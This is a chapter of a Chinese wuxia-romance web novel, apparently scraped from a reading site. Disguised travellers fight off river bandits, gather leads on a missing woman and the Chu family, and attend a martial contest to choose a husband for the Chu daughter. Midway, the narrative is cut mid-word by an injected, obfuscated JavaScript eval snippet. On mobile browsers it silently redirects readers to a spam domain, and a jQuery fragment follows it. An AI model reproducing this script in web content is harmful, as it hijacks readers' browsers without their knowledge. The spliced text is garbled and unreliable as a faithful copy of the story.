明月魄钝角大师

33.第 33 章

群峰从晨雾中浮出,如同宣纸上未干的墨痕;最远的几座化入天际,只余黛青色的幻想。


乌篷船过处,惊起一滩白鹭。


突然。


前方出现了几只竹筏。


“停下!”


“盛京来的吧?”一名头上扎着灰布的男子大喇喇地站定在竹筏前头,慢悠悠地擦着刀,“我们也不多要。一半身家,保你性命。”


他早就收到消息,这艘船上搭载的似乎是个官家小姐,盛京人——必然富得流油。


不过这小姐倒是有些胆色。


明明身旁也就两个侍女,怎么看到锃亮的刀,表情都不带变一下的?


……等等,两个侍女?


“不好——”


身后突然传来“噗通、噗通”的落水声,还有一道轻佻的笑声:“劳驾,下去吧您。”


随即这人便感到腰后被大力地踹了一脚,只能转头看到一个黑影,便一个站立不稳,直直坠入水中。


这黑影正是池熙恒。


他三下五除二地解决完这些拦路水匪后,足尖轻轻一点,水面以竹筏为中心漾起波纹,身形如离弦之箭般掠出三丈,转瞬便来到了大船上。


船上穿着藕荷色襦裙的小姐便是梁同玉。


她看了眼“咕嘟咕嘟”冒着泡的水面,有些担忧:“他们不会再上来吧?”


池熙恒撑在栏杆处,懒懒散散地答道:“刚刚看了下,他们没带什么工具。应该就是水性比较好的当地人。经此一役,应该也知道我们是不好惹的。”


“上来就把他们再揍下去。”从船尾走过来的齐曜笑嘻嘻道,“但这水匪也太多了点,靠近玉溪的路上,我们都遭遇三次打劫了。”


他们这次算是轻装出行,没带太多人;不过跟随的都是暗卫中的精锐,且有丰富的江湖经验,他就跟他哥约好轮流来,一人解决一次。


“官府不管吗?”梁同玉皱眉。


“我上次来还没这么多匪徒,不过也有可能那是在城内。”池熙恒若有所思,看来这玉溪的管辖治安很有问题。


一座城匪徒猖獗,要么是官府无能不作为,要么是官匪勾结暗中得利。


“反正我们进城小心一些吧。”池熙恒叮嘱梁同玉身边的人,“麻烦二位保护好阿玉,不要和她走散了。”


韵兰和青竹是定远侯派过来的人,一路下来都十分靠谱。


她们齐齐应道:“是,小公子。”


梁同玉则是面上一热,装作不经意地往旁边看去。


不知道什么时候,池熙恒私下就开始称呼她为“阿玉”了。这般亲昵的称呼,从来没有人这么唤过她。


这人给出的解释却是,出门在外,总不能直呼“公主殿下”,叫全名又太生疏。


“日常扮作小厮的时候当然唤‘小姐’。”池熙恒装作若无其事,双眼却忍不住期待地看着她,“别的时候就让我唤‘阿玉’吧。”


梁同玉纠结害羞一瞬,低头默认了。


齐曜懵懵懂懂地挠了挠头:“那我叫啥?我也叫‘阿玉’?”


池熙恒:“……”


“你不是叫我‘哥’吗,那就叫她‘姐’吧。”他没好气道。


“哦哦,好。”齐曜隐约感觉好像有哪里不对,但又说不上来。


“小公子进城先去哪里?”朱钺也是暗卫的一员,现在的身份则是这一行的管家。


“我去沧龙镖局那边打探情况,你们下船后先找个落脚点,等我回来汇合。”


信上只说了吴佩桃失踪,要想知道具体细节还得当面谈。


池熙恒一下船就去了镖局的分部,出示身份令牌后在内室的会客厅等着。


不一会儿,好久没见的国字脸、瘦猴与娃娃脸便陆续进入房内,但这几人全都上上下下地打量着他。


池熙恒正不解间,便听到国字脸感慨地说:“池二苟,你真是好福气。”


池熙恒:……啥?


娃娃脸一脸“都这时候了,你就别瞒我们了”的表情:“苟哥,你不是去给盛京的大小姐当护卫了吗?听说你在那边吃香喝辣,过得可好了!”


瘦猴淡淡道:“许久没有消息,我们还担心你这是乐不思蜀了。”


池熙恒:……


“不是,有没有一种可能,我其实是——”他顿了顿,话锋又一转,“是的没错,我现在是小姐身边最得力的护卫。”


算了。


解释起来还要重新换个名字,不如就继续用这个“池二苟”的身份吧。


“你是怎么被大小姐相中的啊?感觉做贵人家里的护卫小厮都挺清闲的。这东西靠脸吗?你看我有这个可能吗?”


“打住。”池熙恒制止了娃娃脸想要跳槽的心,“先说正事吧。这些之后我跟你说。”


“吴佩桃是什么情况?那账本现在在哪里?萧隐又怎么样了?”他一连串问了三个至关重要的问题。


瘦猴看了他一眼:“一个个来吧。吴佩桃应该是被山匪劫走了,她出事前最后联系是楚家的人。”


“楚家是当地的名门望族,我怀疑他们可能有什么合作往来。后续是楚家派人护送吴佩桃的,我们的人也有暗中盯梢,但是中途失去了踪迹。最后的消息,就是不周山那边打斗的痕迹。”娃娃脸补充道。


不周山就算是盛京那边也知道,那一带不归官府管,独立于各城各县之外。主要也管不了,因为据传基本都是大凶大恶之徒。


“吴佩桃出发前就没做其他的准备?”池熙恒好奇,“不是说她经验充足,还曾经反杀水匪吗?”


“我也觉得这一点很奇怪。”国字脸附和,百思不得其解,“她临行前放的话也和以往不同,居然说东西都在她身上,简直就像上赶着等人来劫一样。”


“吴佩桃走之后不久,萧隐就逃了。但他说那个账本只有吴佩桃知道在哪儿,不是在她身边,就是被她藏到安全的地方去了。”


“所以,如果要查案,归根结底还是要找到吴佩桃。”瘦猴一锤定音,“就算不为账本,这女人也一定知道很多隐秘的消息。”


郭寂之死、平阳之案……一切的一切都在指向吴家不简单——或许,吴家的货也不简单。


“她运的什么货,这个能查到吗?”池熙恒突然问。


“不清楚,只知道挺重的。”瘦猴回忆了下,“他们走过的路面压印都比别人更深些。”


“行。”既然如此,池熙恒决定还是先从楚家查起,“那我到时候去楚家看看,就是得等个机会。”


只是一时想不到什么好的缘由,莫非也说去合作?可是赶上这个档口,是否有些惹人怀疑?或者晚上偷摸溜进去?


“有机会啊!”娃


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537889|163680||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


娃脸突然想到什么似的,有些激动,“楚家这些天开了个什么比武招亲,可热闹呢!”


-


另一边。


梁同玉她们在客栈安置完之后就出来逛了。


齐曜想得非常简单,好不容易出了盛京,他们这是来游乐的呀!反正他哥还不知道什么时候回来,不如先出去逛一圈。


光天化日,朗朗乾坤,还有暗卫保护,一定没什么大问题的。


于是他在旁边撺掇,成功地把大家都说服了。


这条主街南北延伸,摊贩众多。货郎的拨浪鼓撞上算命先生摇晃的“半仙幡”,炸面果子的油锅滋啦作响;人山人海,十分热闹。


“玉溪这么多人吗?”齐曜感觉十分稀奇。


盛京只有逢年过节时,街上的人才会这么多。


“往常没这么多人的。”朱钺打量着周遭防止突如其来的危险,分心回复齐曜。


他走南闯北见识多,玉溪虽人口众多,却也不会平白无故街上这么挤。


“哎!借过借过!”忽然,有几个人艰难地钻出人群向前走,看上去十分迫不及待的样子。


齐曜一边闪开一边问:“兄台,前面有什么活动吗?”


一人看了过来,打量他两眼:“你是外地人吧?今天楚家比武招亲呐!”


比武招亲?有热闹看!


齐曜瞬间兴奋起来,他转头对梁同玉说:“姐,咱们去看热闹!”


梁同玉也很好奇,她只在话本里才见过这样的桥段呢。


来到擂台下,八卦也听得差不多了。


原来楚家有个适龄的女儿,已经拖了好几年没成婚了。依照楚家的名望,与当地的贵公子联姻那是绰绰有余。但这位楚家大小姐不愿意,她说不如比武招亲,再通过她的考核,找个德才兼备的男子入赘楚家。


不过,楚家在当地是什么地位。即便是入赘,也有无数人趋之若鹜。


“楚家家主居然同意。”梁同玉想到了自己的抗旨逃婚,有些羡慕。


虽说比武招亲也不一定能觅得所谓良婿,但好歹是这位楚家小姐自己选的;退一步说,就算没有招到合适的人,也对长辈有个交代。


这片地儿设得开阔,红绸从绣楼直铺到擂台,台角四根朱漆柱上缠着麻绳;风一吹,悬在中央的金丝绣球便晃出耀眼的光斑。


观众席乌泱泱的全是人,二楼茶馆的临窗位置也被人包场;还未开场,便有赌坊的伙计悄悄调整每局的赔率牌。


这会儿楚家只有几个管事的,那位大小姐并没有来。想来这只是初赛,大小姐不会第一场就来。


“你看,那儿还有字呢。”梁同玉眼尖发现了铜锣旁立着的告示。


“‘不可伤面容,小姐要验夫婿五官;最终胜者需接住小姐三招,否则名额作废。’”齐曜乐了,“哟,这小姐还是个颜控呢。”


“何谓颜控?”


“唔,我哥创的词。他说就是看脸、看长相的意思。”


话音未落,便见一使双锤的彪形大汉飞身上台——


“赵莽在此,何人来战!”


他虎目圆睁,看上去十分强壮能打的样子。又是第一个,一时间不少人在权衡,竟然没有人立即上台。


不过,很快便有人狞笑一声,扛着弯刀一个轻纵,越上擂台:“我来会会你!”